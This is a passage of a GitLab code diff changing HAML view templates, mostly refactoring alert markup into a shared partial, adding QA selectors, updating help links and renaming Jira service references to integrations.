+++ b/app/views/profiles/personal_access_tokens/index.html.haml
@@ -24,7 +24,8 @@
type: type,
path: profile_personal_access_tokens_path,
token: @personal_access_token,
- scopes: @scopes
+ scopes: @scopes,
+ help_path: help_page_path('user/profile/personal_access_tokens.md', anchor: 'personal-access-token-scopes')
= render 'shared/access_tokens/table',
type: type,
diff --git a/app/views/profiles/preferences/show.html.haml b/app/views/profiles/preferences/show.html.haml
index 0adad6b64a0..e52a345bd86 100644
--- a/app/views/profiles/preferences/show.html.haml
+++ b/app/views/profiles/preferences/show.html.haml
@@ -128,29 +128,27 @@
= f.label :first_day_of_week, class: 'label-bold' do
= _('First day of the week')
= f.select :first_day_of_week, first_day_of_week_choices_with_default, {}, class: 'select2'
- - if Feature.enabled?(:user_time_settings)
- .col-sm-12
- %hr
- .col-lg-4.profile-settings-sidebar
- %h4.gl-mt-0= s_('Preferences|Time preferences')
- %p= s_('Preferences|These settings will update how dates and times are displayed for you.')
- .col-lg-8
- .form-group
- %h5= s_('Preferences|Time format')
- .checkbox-icon-inline-wrapper
- - time_format_label = capture do
- = s_('Preferences|Display time in 24-hour format')
- = f.check_box :time_format_in_24h
- = f.label :time_format_in_24h do
- = time_format_label
- %h5= s_('Preferences|Time display')
- .checkbox-icon-inline-wrapper
- - time_display_label = capture do
- = s_('Preferences|Use relative times')
- = f.check_box :time_display_relative
- = f.label :time_display_relative do
- = time_display_label
- .form-text.text-muted
- = s_('Preferences|For example: 30 mins ago.')
+ .col-sm-12
+ %hr
+ .row.js-preferences-form.js-search-settings-section
+ .col-lg-4.profile-settings-sidebar#time-preferences
+ %h4.gl-mt-0
+ = s_('Preferences|Time preferences')
+ %p
+ = s_('Preferences|Configure how dates and times display for you.')
+ = succeed '.' do
+ = link_to _('Learn more'), help_page_path('user/profile/preferences', anchor: 'time-preferences'), target: '_blank'
+ .col-lg-8
+ .form-group.form-check
+ = f.check_box :time_display_relative, class: 'form-check-input'
+ = f.label :time_display_relative, class: 'form-check-label' do
+ = s_('Preferences|Use relative times')
+ .form-text.text-muted
+ = s_('Preferences|For example: 30 minutes ago.')
+ - if Feature.enabled?(:user_time_settings)
+ .form-group.form-check
+ = f.check_box :time_format_in_24h, class: 'form-check-input'
+ = f.label :time_format_in_24h, class: 'form-check-label' do
+ = s_('Preferences|Display time in 24-hour format')
#js-profile-preferences-app{ data: data_attributes }
diff --git a/app/views/profiles/show.html.haml b/app/views/profiles/show.html.haml
index 411954aed6a..0328fa5c282 100644
--- a/app/views/profiles/show.html.haml
+++ b/app/views/profiles/show.html.haml
@@ -72,9 +72,8 @@
.checkbox-icon-inline-wrapper
= status_form.check_box :availability, { data: { testid: "user-availability-checkbox" }, label: s_("Profiles|Busy"), wrapper_class: 'gl-mr-0 gl-font-weight-bold' }, availability["busy"], availability["not_set"]
.gl-text-gray-600.gl-ml-5= s_('Profiles|"Busy" will be shown next to your name')
- - if Feature.enabled?(:user_time_settings)
- .col-lg-12
- %hr
+ .col-lg-12
+ %hr
.row.user-time-preferences.js-search-settings-section
.col-lg-4.profile-settings-sidebar
%h4.gl-mt-0= s_("Profiles|Time settings")
diff --git a/app/views/profiles/two_factor_auths/show.html.haml b/app/views/profiles/two_factor_auths/show.html.haml
index 3cd571c23d3..927b6d4edef 100644
--- a/app/views/profiles/two_factor_auths/show.html.haml
+++ b/app/views/profiles/two_factor_auths/show.html.haml
@@ -1,5 +1,6 @@
+- breadcrumb_title _('Two-Factor Authentication')
- page_title _('Two-Factor Authentication'), _('Account')
-- add_to_breadcrumbs(_('Two-Factor Authentication'), profile_account_path)
+- add_to_breadcrumbs _('Account'), profile_account_path
- @content_class = "limit-container-width" unless fluid_layout
- webauthn_enabled = Feature.enabled?(:webauthn)
diff --git a/app/views/projects/_flash_messages.html.haml b/app/views/projects/_flash_messages.html.haml
index f9222387e97..7395495b537 100644
--- a/app/views/projects/_flash_messages.html.haml
+++ b/app/views/projects/_flash_messages.html.haml
@@ -9,3 +9,4 @@
= render 'shared/auto_devops_implicitly_enabled_banner', project: project
= render_if_exists 'projects/above_size_limit_warning', project: project
= render_if_exists 'shared/shared_runners_minutes_limit', project: project, classes: [container_class, ("limit-container-width" unless fluid_layout)]
+ = render_if_exists 'projects/terraform_banner', project: project
diff --git a/app/views/projects/_home_panel.html.haml b/app/views/projects/_home_panel.html.haml
index 26291c0358e..86172499118 100644
--- a/app/views/projects/_home_panel.html.haml
+++ b/app/views/projects/_home_panel.html.haml
@@ -47,6 +47,10 @@
= cache_if(cache_enabled, [@project, :buttons, current_user, @notification_setting], expires_in: 1.day) do
.project-repo-buttons.gl-display-flex.gl-justify-content-md-end.gl-align-items-start.gl-flex-wrap.gl-mt-5
- if current_user
+ - if current_user.admin?
+ = link_to [:admin, @project], class: 'btn gl-button btn-icon gl-align-self-start gl-py-2! gl-mr-3', title: s_('View project in admin area'),
+ data: {toggle: 'tooltip', placement: 'bottom', container: 'body'} do
+ = sprite_icon('admin')
.gl-display-flex.gl-align-items-start.gl-mr-3
- if @notification_setting
.js-vue-notification-dropdown{ data: { button_size: "small", disabled: emails_disabled.to_s, dropdown_items: notification_dropdown_items(@notification_setting).to_json, notification_level: @notification_setting.level, help_page_path: help_page_path('user/profile/notifications'), project_id: @project.id } }
diff --git a/app/views/projects/_import_project_pane.html.haml b/app/views/projects/_import_project_pane.html.haml
index e6ded3ad912..2055f1c7f60 100644
--- a/app/views/projects/_import_project_pane.html.haml
+++ b/app/views/projects/_import_project_pane.html.haml
@@ -7,7 +7,7 @@
= _("Import project from")
.import-buttons
- if gitlab_project_import_enabled?
- .import_gitlab_project.has-tooltip{ data: { container: 'body' } }
+ .import_gitlab_project.has-tooltip{ data: { container: 'body', qa_selector: 'gitlab_import_button' } }
= link_to new_import_gitlab_project_path, class: 'gl-button btn-default btn btn_import_gitlab_project', **tracking_attrs(track_label, 'click_button', 'gitlab_export') do
.gl-button-icon
= sprite_icon('tanuki')
diff --git a/app/views/projects/_invite_members.html.haml b/app/views/projects/_invite_members.html.haml
deleted file mode 100644
index ab630d34501..00000000000
--- a/app/views/projects/_invite_members.html.haml
+++ /dev/null
@@ -1,12 +0,0 @@
-%h4.gl-mt-0.gl-mb-3{ data: { testid: 'invite-member-section',
- track_label: 'invite_members_empty_project',
- track_event: 'render' } }
- = s_('InviteMember|Invite your team')
-%p= s_('InviteMember|Add members to this project and start collaborating with your team.')
-.js-invite-members-trigger{ data: { variant: 'confirm',
- classes: 'gl-mb-8 gl-xs-w-full',
- display_text: s_('InviteMember|Invite members'),
- event: 'click_button',
- label: 'invite_members_empty_project' } }
-
-= render 'shared/issuable/invite_members_trigger', project: @project
diff --git a/app/views/projects/_invite_members_empty_project.html.haml b/app/views/projects/_invite_members_empty_project.html.haml
new file mode 100644
index 00000000000..ee2215b0fbb
--- /dev/null
+++ b/app/views/projects/_invite_members_empty_project.html.haml
@@ -0,0 +1,13 @@
+%h4.gl-mt-0.gl-mb-3{ data: { testid: 'invite-member-section',
+ track_label: 'invite_members_empty_project',
+ track_event: 'render' } }
+ = s_('InviteMember|Invite your team')
+%p= s_('InviteMember|Add members to this project and start collaborating with your team.')
+.js-invite-members-trigger{ data: { variant: 'confirm',
+ classes: 'gl-mb-8 gl-xs-w-full',
+ display_text: s_('InviteMember|Invite members'),
+ trigger_source: 'project-empty-page',
+ event: 'click_button',
+ label: 'invite_members_empty_project' } }
+
+= render 'projects/invite_members_modal', project: @project
diff --git a/app/views/projects/_invite_members_modal.html.haml b/app/views/projects/_invite_members_modal.html.haml
index 00f823b9016..5dd6ec0addf 100644
--- a/app/views/projects/_invite_members_modal.html.haml
+++ b/app/views/projects/_invite_members_modal.html.haml
@@ -1,7 +1,8 @@
-- if can_invite_members_for_project?(project)
- .js-invite-members-modal{ data: { id: project.id,
- name: project.name,
- is_project: 'true',
- access_levels: ProjectMember.access_level_roles.to_json,
- default_access_level: Gitlab::Access::GUEST,
- help_link: help_page_url('user/permissions') } }
+- return unless can_import_members?
+
+.js-invite-members-modal{ data: { id: project.id,
+ name: project.name,
+ is_project: 'true',
+ access_levels: ProjectMember.access_level_roles.to_json,
+ default_access_level: Gitlab::Access::GUEST,
+ help_link: help_page_url('user/permissions') } }
diff --git a/app/views/projects/_merge_request_merge_checks_settings.html.haml b/app/views/projects/_merge_request_merge_checks_settings.html.haml
index 694d192d079..fbc58283cbf 100644
--- a/app/views/projects/_merge_request_merge_checks_settings.html.haml
+++ b/app/views/projects/_merge_request_merge_checks_settings.html.haml
@@ -8,7 +8,7 @@
= form.label :only_allow_merge_if_pipeline_succeeds, class: 'form-check-label' do
= s_('ProjectSettings|Pipelines must succeed')
.text-secondary
- - configuring_pipelines_for_merge_requests_help_link_url = help_page_path('ci/merge_request_pipelines/index.md', anchor: 'configuring-pipelines-for-merge-requests')
+ - configuring_pipelines_for_merge_requests_help_link_url = help_page_path('ci/pipelines/merge_request_pipelines.md', anchor: 'configure-pipelines-for-merge-requests')
- configuring_pipelines_for_merge_requests_help_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: configuring_pipelines_for_merge_requests_help_link_url }
= s_('ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}').html_safe % { link_start: configuring_pipelines_for_merge_requests_help_link_start, link_end: '</a>'.html_safe }
.form-check.mb-2
diff --git a/app/views/projects/_new_project_fields.html.haml b/app/views/projects/_new_project_fields.html.haml
index 66fc313213a..55696337bc1 100644
--- a/app/views/projects/_new_project_fields.html.haml
+++ b/app/views/projects/_new_project_fields.html.haml
@@ -23,7 +23,7 @@
display_path: true,
extra_group: namespace_id),
{},
- { class: 'select2 js-select-namespace qa-project-namespace-select block-truncated', data: { track_label: "#{track_label}", track_event: "activate_form_input", track_property: "project_path", track_value: "" }})
+ { class: 'select2 js-select-namespace qa-project-namespace-select block-truncated', data: { track_label: "#{track_label}", track_event: "activate_form_input", track_property: "project_path", track_value: "", qa_selector: "select_namespace_dropdown" }})
- else
.input-group-prepend.static-namespace.flex-shrink-0.has-tooltip{ title: user_url(current_user.username) + '/' }
diff --git a/app/views/projects/_remove.html.haml b/app/views/projects/_remove.html.haml
index e991a9b0ec7..cb0ec9f19c8 100644
--- a/app/views/projects/_remove.html.haml
+++ b/app/views/projects/_remove.html.haml
@@ -3,7 +3,7 @@
.sub-section
%h4.danger-title= _('Delete project')
%p
- %strong= _('Deleting the project will delete its repository and all related resources including issues, merge requests, etc.')
+ %strong= _('Deleting the project will delete its repository and all related resources, including issues and merge requests.')
= link_to _('Learn more.'), help_page_path('user/project/settings/index', anchor: 'removing-a-fork-relationship'), target: '_blank', rel: 'noopener noreferrer'
%p
%strong= _('Deleted projects cannot be restored!')
diff --git a/app/views/projects/_terraform_banner.html.haml b/app/views/projects/_terraform_banner.html.haml
new file mode 100644
index 00000000000..a30c4a2d624
--- /dev/null
+++ b/app/views/projects/_terraform_banner.html.haml
@@ -0,0 +1,5 @@
+- @content_class = "container-limited limit-container-width" unless fluid_layout
+
+- if show_terraform_banner?(project)
+ .container-fluid{ class: @content_class }
+ .js-terraform-notification{ data: { project_id: project.id } }
diff --git a/app/views/projects/blame/show.html.haml b/app/views/projects/blame/show.html.haml
index cba63d5e6d6..8fe9c9e5c52 100644
--- a/app/views/projects/blame/show.html.haml
+++ b/app/views/projects/blame/show.html.haml
@@ -1,5 +1,4 @@
- page_title _("Blame"), @blob.path, @ref
-- link_icon = sprite_icon("link", size: 12)
#blob-content-holder.tree-holder
= render "projects/blob/breadcrumb", blob: @blob, blame: true
@@ -48,8 +47,8 @@
%td.line-numbers
- (current_line...(current_line + line_count)).each do |i|
%a.diff-line-num.gl-justify-content-end{ href: "#L#{i}", id: "L#{i}", 'data-line-number' => i, class: "gl-display-flex!" }
- = link_icon
- = i
+ .file-line-num
+ = i
\
%td.lines
diff --git a/app/views/projects/blob/_pipeline_tour_success.html.haml b/app/views/projects/blob/_pipeline_tour_success.html.haml
index ef1fe25ba1b..8f1c2f93162 100644
--- a/app/views/projects/blob/_pipeline_tour_success.html.haml
+++ b/app/views/projects/blob/_pipeline_tour_success.html.haml
@@ -1,6 +1,6 @@
.js-success-pipeline-modal{ data: { 'commit-cookie': suggest_pipeline_commit_cookie_name,
'go-to-pipelines-path': project_pipelines_path(@project),
'project-merge-requests-path': project_merge_requests_path(@project),
- 'example-link': help_page_path('ci/examples/README.md', anchor: 'gitlab-cicd-examples'),
+ 'example-link': help_page_path('ci/examples/index.md', anchor: 'gitlab-cicd-examples'),
'code-quality-link': help_page_path('user/project/merge_requests/code_quality'),
'human-access': @project.team.human_max_access(current_user&.id) } }
diff --git a/app/views/projects/blob/viewers/_csv.html.haml b/app/views/projects/blob/viewers/_csv.html.haml
new file mode 100644
index 00000000000..3a58bc9902c
--- /dev/null
+++ b/app/views/projects/blob/viewers/_csv.html.haml
@@ -0,0 +1 @@
+.file-content#js-csv-viewer{ data: { data: viewer.blob.data } }
diff --git a/app/views/projects/branches/new.html.haml b/app/views/projects/branches/new.html.haml
index 6cb2c435a30..6de50d48721 100644
--- a/app/views/projects/branches/new.html.haml
+++ b/app/views/projects/branches/new.html.haml
@@ -2,10 +2,10 @@
- default_ref = params[:ref] || @project.default_branch
- if @error
- .gl-alert.gl-alert-danger
- = sprite_icon('error', size: 16, css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
- %button.js-close.gl-alert-dismiss{ type: 'button', 'aria-label' => _('Dismiss') }
- = sprite_icon('close', size: 16, css_class: 'gl-icon')
+ = render 'shared/global_alert',
+ variant: :danger,
+ close_button_class: 'js-close',
+ is_contained: true do
.gl-alert-body
= @error
%h3.page-title
diff --git a/app/views/projects/cycle_analytics/show.html.haml b/app/views/projects/cycle_analytics/show.html.haml
index c1f6cfc40c3..3c9762e200a 100644
--- a/app/views/projects/cycle_analytics/show.html.haml
+++ b/app/views/projects/cycle_analytics/show.html.haml
@@ -1,6 +1,6 @@
- page_title _("Value Stream Analytics")
- add_page_specific_style 'page_bundles/cycle_analytics'
- svgs = { empty_state_svg_path: image_path("illustrations/analytics/cycle-analytics-empty-chart.svg"), no_data_svg_path: image_path("illustrations/analytics/cycle-analytics-empty-chart.svg"), no_access_svg_path: image_path("illustrations/analytics/no-access.svg") }
-- initial_data = { request_path: project_cycle_analytics_path(@project), full_path: @project.full_path }.merge!(svgs)
+- initial_data = { project_id: @project.id, group_path: @project.group&.path, request_path: project_cycle_analytics_path(@project), full_path: @project.full_path }.merge!(svgs)
#js-cycle-analytics{ data: initial_data }
diff --git a/app/views/projects/default_branch/_show.html.haml b/app/views/projects/default_branch/_show.html.haml
index 9e9fc08dac0..68ca318e88c 100644
--- a/app/views/projects/default_branch/_show.html.haml
+++ b/app/views/projects/default_branch/_show.html.haml
@@ -17,7 +17,7 @@
- else
.form-group
= f.label :default_branch, "Default branch", class: 'label-bold'
- = f.select(:default_branch, @project.repository.branch_names, {}, {class: 'select2 select-wide'})
+ = f.select(:default_branch, @project.repository.branch_names, {}, {class: 'select2 select-wide', data: { qa_selector: 'default_branch_dropdown' }})
.form-group
.form-check
@@ -28,4 +28,4 @@
= _("When merge requests and commits in the default branch close, any issues they reference also close.")
= link_to sprite_icon('question-o'), help_page_path('user/project/issues/managing_issues.md', anchor: 'disabling-automatic-issue-closing'), target: '_blank'
- = f.submit _('Save changes'), class: "gl-button btn btn-confirm"
+ = f.submit _('Save changes'), class: "gl-button btn btn-confirm", data: { qa_selector: 'save_changes_button' }
diff --git a/app/views/projects/diffs/_warning.html.haml b/app/views/projects/diffs/_warning.html.haml
index 30b0631b465..1d9b1b13d5c 100644
--- a/app/views/projects/diffs/_warning.html.haml
+++ b/app/views/projects/diffs/_warning.html.haml
@@ -1,9 +1,8 @@
-.gl-alert.gl-alert-warning.gl-mb-5
- %button.js-close.gl-alert-dismiss{ type: 'button', 'aria-label' => _('Dismiss') }
- = sprite_icon('close', size: 16, css_class: 'gl-icon')
- = sprite_icon('warning', size: 16, css_class: 'gl-icon gl-alert-icon')
- %h4.gl-alert-title
- = _("Too many changes to show.")
+= render 'shared/global_alert',
+ title: _('Too many changes to show.'),
+ variant: :warning,
+ is_contained: true,
+ alert_class: 'gl-mb-5' do
.gl-alert-body
= html_escape(_("To preserve performance only %{strong_open}%{display_size} of %{real_size}%{strong_close} files are displayed.")) % { display_size: diff_files.size, real_size: diff_files.real_size, strong_open: '<strong>'.html_safe, strong_close: '</strong>'.html_safe }
.gl-alert-actions
diff --git a/app/views/projects/empty.html.haml b/app/views/projects/empty.html.haml
index 027b81d6c68..0fda74a3be5 100644
--- a/app/views/projects/empty.html.haml
+++ b/app/views/projects/empty.html.haml
@@ -7,7 +7,7 @@
= render "home_panel"
= render "archived_notice", project: @project
-= render "invite_members" if can_import_members?
+= render 'invite_members_empty_project' if can_import_members?
%h4.gl-mt-0.gl-mb-3
= _('The repository for this project is empty')
diff --git a/app/views/projects/feature_flags/edit.html.haml b/app/views/projects/feature_flags/edit.html.haml
index 1549f5cf6d6..f71c97c2a8f 100644
--- a/app/views/projects/feature_flags/edit.html.haml
+++ b/app/views/projects/feature_flags/edit.html.haml
@@ -8,9 +8,6 @@
project_id: @project.id,
feature_flags_path: project_feature_flags_path(@project),
environments_endpoint: search_project_environments_path(@project, format: :json),
- user_callouts_path: user_callouts_path,
- user_callout_id: UserCalloutsHelper::FEATURE_FLAGS_NEW_VERSION,
- show_user_callout: show_feature_flags_new_version?.to_s,
strategy_type_docs_page_path: help_page_path('operations/feature_flags', anchor: 'feature-flag-strategies'),
environments_scope_docs_path: help_page_path('ci/environments/index.md', anchor: 'scoping-environments-with-specs'),
feature_flag_issues_endpoint: feature_flag_issues_links_endpoint(@project, @feature_flag, current_user) } }
diff --git a/app/views/projects/forks/error.html.haml b/app/views/projects/forks/error.html.haml
index 0c15796b667..30e2e9f19d9 100644
--- a/app/views/projects/forks/error.html.haml
+++ b/app/views/projects/forks/error.html.haml
@@ -1,10 +1,11 @@
- page_title _("Fork project")
- if @forked_project && !@forked_project.saved?
- .gl-alert.gl-alert-danger.gl-mt-5
- = sprite_icon('error', size: 16, css_class: 'gl-icon gl-alert-icon')
- %h4.gl-alert-title
- = sprite_icon('fork')
- = _("Fork Error!")
+ = render 'shared/global_alert',
+ title: _('Fork Error!'),
+ variant: :danger,
+ alert_class: 'gl-mt-5',
+ is_contained: true,
+ dismissible: false do
.gl-alert-body
%p
= _("You tried to fork %{link_to_the_project} but it failed for the following reason:").html_safe % { link_to_the_project: link_to_project(@project) }
@@ -14,9 +15,9 @@
&ndash;
- error = @forked_project.errors.full_messages.first
- if error.include?("already been taken")
- = _("Name has already been taken")
+ = _('Name has already been taken')
- else
= error
.gl-alert-actions
- = link_to _("Try to fork again"), new_project_fork_path(@project), title: _("Fork"), class: "btn gl-alert-action btn-info btn-md gl-button"
+ = link_to _('Try to fork again'), new_project_fork_path(@project), title: _("Fork"), class: "btn gl-alert-action btn-info btn-md gl-button"
diff --git a/app/views/projects/forks/new.html.haml b/app/views/projects/forks/new.html.haml
index 0716eda79a8..8848fbae9cb 100644
--- a/app/views/projects/forks/new.html.haml
+++ b/app/views/projects/forks/new.html.haml
@@ -1,6 +1,6 @@
- page_title s_("ForkProject|Fork project")
-- if Feature.enabled?(:fork_project_form)
+- if Feature.enabled?(:fork_project_form, @project, default_enabled: :yaml)
#fork-groups-mount-element{ data: { fork_illustration: image_path('illustrations/project-create-new-sm.svg'),
endpoint: new_project_fork_path(@project, format: :json),
new_group_path: new_group_path,
diff --git a/app/views/projects/import/jira/show.html.haml b/app/views/projects/import/jira/show.html.haml
index 3c0664e4d5f..29296ce23c9 100644
--- a/app/views/projects/import/jira/show.html.haml
+++ b/app/views/projects/import/jira/show.html.haml
@@ -1,7 +1,7 @@
.js-jira-import-root{ data: { project_path: @project.full_path,
issues_path: project_issues_path(@project),
jira_integration_path: edit_project_service_path(@project, :jira),
- is_jira_configured: @project.jira_service&.active? && @project.jira_service&.valid_connection?.to_s,
+ is_jira_configured: @project.jira_integration&.configured?.to_s,
in_progress_illustration: image_path('illustrations/export-import.svg'),
project_id: @project.id,
setup_illustration: image_path('illustrations/manual_action.svg') } }
diff --git a/app/views/projects/issues/_alert_moved_from_service_desk.html.haml b/app/views/projects/issues/_alert_moved_from_service_desk.html.haml
index 9b142b08574..662270fb8e1 100644
--- a/app/views/projects/issues/_alert_moved_from_service_desk.html.haml
+++ b/app/views/projects/issues/_alert_moved_from_service_desk.html.haml
@@ -2,9 +2,10 @@
- service_desk_link_url = help_page_path('user/project/service_desk')
- service_desk_link_start = '<a href="%{url}" target="_blank" rel="noopener noreferrer">'.html_safe % { url: service_desk_link_url }
-.hide.gl-alert.gl-alert-warning.js-alert-moved-from-service-desk-warning.gl-mt-5{ role: 'alert' }
- = sprite_icon('warning', css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
- %button.js-close.gl-alert-dismiss{ type: 'button', 'aria-label' => _('Dismiss') }
- = sprite_icon('close', css_class: 'gl-icon')
+= render 'shared/global_alert',
+ variant: :warning,
+ is_contained: true,
+ close_button_class: 'js-close',
+ alert_class: 'hide js-alert-moved-from-service-desk-warning gl-mt-5' do
.gl-alert-body.gl-mr-3
= s_('This project does not have %{service_desk_link_start}Service Desk%{service_desk_link_end} enabled, so the user who created the issue will no longer receive email notifications about new activity.').html_safe % { service_desk_link_start: service_desk_link_start, service_desk_link_end: '</a>'.html_safe }
diff --git a/app/views/projects/issues/index.html.haml b/app/views/projects/issues/index.html.haml
index 3e8442eee86..ecf10cd4821 100644
--- a/app/views/projects/issues/index.html.haml
+++ b/app/views/projects/issues/index.html.haml
@@ -9,7 +9,7 @@
= auto_discovery_link_tag(:atom, safe_params.merge(rss_url_options).to_h, title: "#{@project.name} issues")
.js-jira-issues-import-status{ data: { can_edit: can?(current_user, :admin_project, @project).to_s,
- is_jira_configured: @project.jira_service.present?.to_s,
+ is_jira_configured: @project.jira_integration.present?.to_s,
issues_path: project_issues_path(@project),
project_path: @project.full_path } }
diff --git a/app/views/projects/issues/show.html.haml b/app/views/projects/issues/show.html.haml
index a465f59c559..6c6f98e0b20 100644
--- a/app/views/projects/issues/show.html.haml
+++ b/app/views/projects/issues/show.html.haml
@@ -4,4 +4,4 @@
- page_title "#{@issue.title} (#{@issue.to_reference})", _("Issues")
= render 'projects/issuable/show', issuable: @issue, api_awards_path: award_emoji_issue_api_path(@issue)
-= render 'shared/issuable/invite_members_trigger', project: @project
+= render 'projects/invite_members_modal', project: @project
diff --git a/app/views/projects/mattermosts/_no_teams.html.haml b/app/views/projects/mattermosts/_no_teams.html.haml
index f375222e311..adef11f315a 100644
--- a/app/views/projects/mattermosts/_no_teams.html.haml
+++ b/app/views/projects/mattermosts/_no_teams.html.haml
@@ -15,4 +15,4 @@
and try again.
%hr
.clearfix
- = link_to 'Go back', edit_project_service_path(@project, @service), class: 'gl-button btn btn-lg float-right'
+ = link_to 'Go back', edit_project_service_path(@project, @integration), class: 'gl-button btn btn-lg float-right'
diff --git a/app/views/projects/mattermosts/_team_selection.html.haml b/app/views/projects/mattermosts/_team_selection.html.haml
index ea04a55a77c..4109fdfc13b 100644
--- a/app/views/projects/mattermosts/_team_selection.html.haml
+++ b/app/views/projects/mattermosts/_team_selection.html.haml
@@ -2,7 +2,7 @@
This service will be installed on the Mattermost instance at
%strong= link_to Gitlab.config.mattermost.host, Gitlab.config.mattermost.host
%hr
-= form_for(:mattermost, method: :post, url: project_mattermost_path(@project), html: { class: 'js-requires-input'} ) do |f|
+= form_for(:mattermost, method: :post, url: project_mattermost_path(@project), html: { class: 'js-requires-input' }) do |f|
%h4 Team
%p
= @teams.one? ? 'The team' : 'Select the team'
@@ -42,5 +42,5 @@
%hr
.clearfix
.float-right
- = link_to 'Cancel', edit_project_service_path(@project, @service), class: 'gl-button btn btn-lg'
+ = link_to 'Cancel', edit_project_service_path(@project, @integration), class: 'gl-button btn btn-lg'
= f.submit 'Install', class: 'gl-button btn btn-success btn-lg'
diff --git a/app/views/projects/merge_requests/show.html.haml b/app/views/projects/merge_requests/show.html.haml
index 691ce8dc5fc..c4ee522bfa7 100644
--- a/app/views/projects/merge_requests/show.html.haml
+++ b/app/views/projects/merge_requests/show.html.haml
@@ -96,5 +96,5 @@
#js-review-bar
-= render 'shared/issuable/invite_members_trigger', project: @project
+= render 'projects/invite_members_modal', project: @project
diff --git a/app/views/projects/milestones/_form.html.haml b/app/views/projects/milestones/_form.html.haml
index dfb9defb91c..5f2057df4aa 100644
--- a/app/views/projects/milestones/_form.html.haml
+++ b/app/views/projects/milestones/_form.html.haml
@@ -1,27 +1,25 @@
= form_for [@project, @milestone],
html: { class: 'milestone-form common-note-form js-quick-submit js-requires-input' } do |f|
= form_errors(@milestone)
- .row
- .col-md-6
- .form-group.row
- .col-form-label.col-sm-2
- = f.label :title, _('Title')
- .col-sm-10
- = f.text_field :title, maxlength: 255, class: 'form-control gl-form-input', data: { qa_selector: 'milestone_title_field' }, required: true, autofocus: true
- .form-group.row.milestone-description
- .col-form-label.col-sm-2
- = f.label :description, _('Description')
- .col-sm-10
- = render layout: 'shared/md_preview', locals: { url: preview_markdown_path(@project) } do
- = render 'shared/zen', f: f, attr: :description,
- classes: 'note-textarea',
- qa_selector: 'milestone_description_field',
- supports_autocomplete: true,
- placeholder: _('Write milestone description...')
- = render 'shared/notes/hints'
- .clearfix
- .error-alert
- = render 'shared/milestones/form_dates', f: f
+ .form-group.row
+ .col-form-label.col-sm-2
+ = f.label :title, _('Title')
+ .col-sm-10
+ = f.text_field :title, maxlength: 255, class: 'form-control gl-form-input', data: { qa_selector: 'milestone_title_field' }, required: true, autofocus: true
+ = render 'shared/milestones/form_dates', f: f
+ .form-group.row.milestone-description
+ .col-form-label.col-sm-2
+ = f.label :description, _('Description')
+ .col-sm-10
+ = render layout: 'shared/md_preview', locals: { url: preview_markdown_path(@project) } do
+ = render 'shared/zen', f: f, attr: :description,
+ classes: 'note-textarea',
+ qa_selector: 'milestone_description_field',
+ supports_autocomplete: true,
+ placeholder: _('Write milestone description...')
+ = render 'shared/notes/hints'
+ .clearfix
+ .error-alert
.form-actions
- if @milestone.new_record?
diff --git a/app/views/projects/milestones/show.html.haml b/app/views/projects/milestones/show.html.haml
index 99fe64723d9..dbde3346b81 100644
--- a/app/views/projects/milestones/show.html.haml
+++ b/app/views/projects/milestones/show.html.haml
@@ -12,19 +12,17 @@
= render_if_exists 'shared/milestones/burndown', milestone: @milestone, project: @project
- if can?(current_user, :read_issue, @project) && @milestone.total_issues_count == 0
- .gl-alert.gl-alert-info.gl-mt-3.gl-mb-5{ data: { testid: 'no-issues-alert' } }
- .gl-alert-container
- = sprite_icon('information-o', size: 16, css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
- .gl-alert-content
- .gl-alert-body
- %span= _('Assign some issues to this milestone.')
-- elsif @milestone.complete? && @milestone.active?
- .gl-alert.gl-alert-success.gl-mt-3.gl-mb-5{ data: { testid: 'all-issues-closed-alert' } }
- .gl-alert-container
- = sprite_icon('check-circle', size: 16, css_class: 'gl-icon gl-alert-icon gl-alert-icon-no-title')
- .gl-alert-content
- .gl-alert-body
- %span= _('All issues for this milestone are closed. You may close this milestone now.')
+ = render 'shared/global_alert',
+ variant: :info,
+ dismissible: false,
+ is_contained: true,
+ alert_data: { testid: 'no-issues-alert' },
+ alert_class: 'gl-mt-3 gl-mb-5' do
+ .gl-alert-body
+ = _('Assign some issues to this milestone.')
+- else
+ = render 'shared/milestones/milestone_complete_alert', milestone: @milestone do
+ = _('All issues for this milestone are closed. You may close this milestone now.')
= render 'shared/milestones/tabs', milestone: @milestone
= render 'shared/milestones/sidebar', milestone: @milestone, project: @project, affix_offset: 153
diff --git a/app/views/projects/packages/packages/show.html.haml b/app/views/projects/packages/packages/show.html.haml
index aeca3f5b3e3..76eb22109a4 100644
--- a/app/views/projects/packages/packages/show.html.haml
+++ b/app/views/projects/packages/packages/show.html.haml
@@ -6,23 +6,7 @@
.row
.col-12
- #js-vue-packages-detail{ data: { package: package_from_presenter(@package),
- can_delete: can?(current_user, :destroy_package, @project).to_s,
- svg_path: image_path('illustrations/no-packages.svg'),
- npm_path: package_registry_instance_url(:npm),
- npm_help_path: help_page_path('user/packages/npm_registry/index'),
- maven_path: package_registry_project_url(@project.id, :maven),
- maven_help_path: help_page_path('user/packages/maven_repository/index'),
- conan_path: package_registry_project_url(@project.id, :conan),
- conan_help_path: help_page_path('user/packages/conan_repository/index'),
- nuget_path: nuget_package_registry_url(@project.id),
- nuget_help_path: help_page_path('user/packages/nuget_repository/index'),
- pypi_path: pypi_registry_url(@project.id),
- pypi_setup_path: package_registry_project_url(@project.id, :pypi),
- pypi_help_path: help_page_path('user/packages/pypi_repository/index'),
- composer_path: composer_registry_url(@project&.group&.id),
- composer_help_path: help_page_path('user/packages/composer_repository/index'),
- project_name: @project.name,
- project_list_url: project_packages_path(@project),
- group_list_url: @project.group ? group_packages_path(@project.group) : '',
- composer_config_repository_name: composer_config_repository_name(@project.group&.id)} }
+ - if Feature.enabled?(:package_details_apollo)
+ #js-vue-packages-detail-new{ data: package_details_data(@project) }
+ - else
+ #js-vue-packages-detail{ data: package_details_data(@project, @package) }
diff --git a/app/views/projects/pages/_pages_settings.html.haml b/app/views/projects/pages/_pages_settings.html.haml
index 483f192109b..2db44528d51 100644
--- a/app/views/projects/pages/_pages_settings.html.haml
+++ b/app/views/projects/pages/_pages_settings.html.haml
@@ -1,5 +1,8 @@
= form_for @project, url: project_pages_path(@project), html: { class: 'inline', title: pages_https_only_title } do |f|
- = render_if_exists 'shared/pages/max_pages_size_input', form: f
+ - if can?(current_user, :update_max_pages_size)
+ = render_if_exists 'shared/pages/max_pages_size_input', form: f
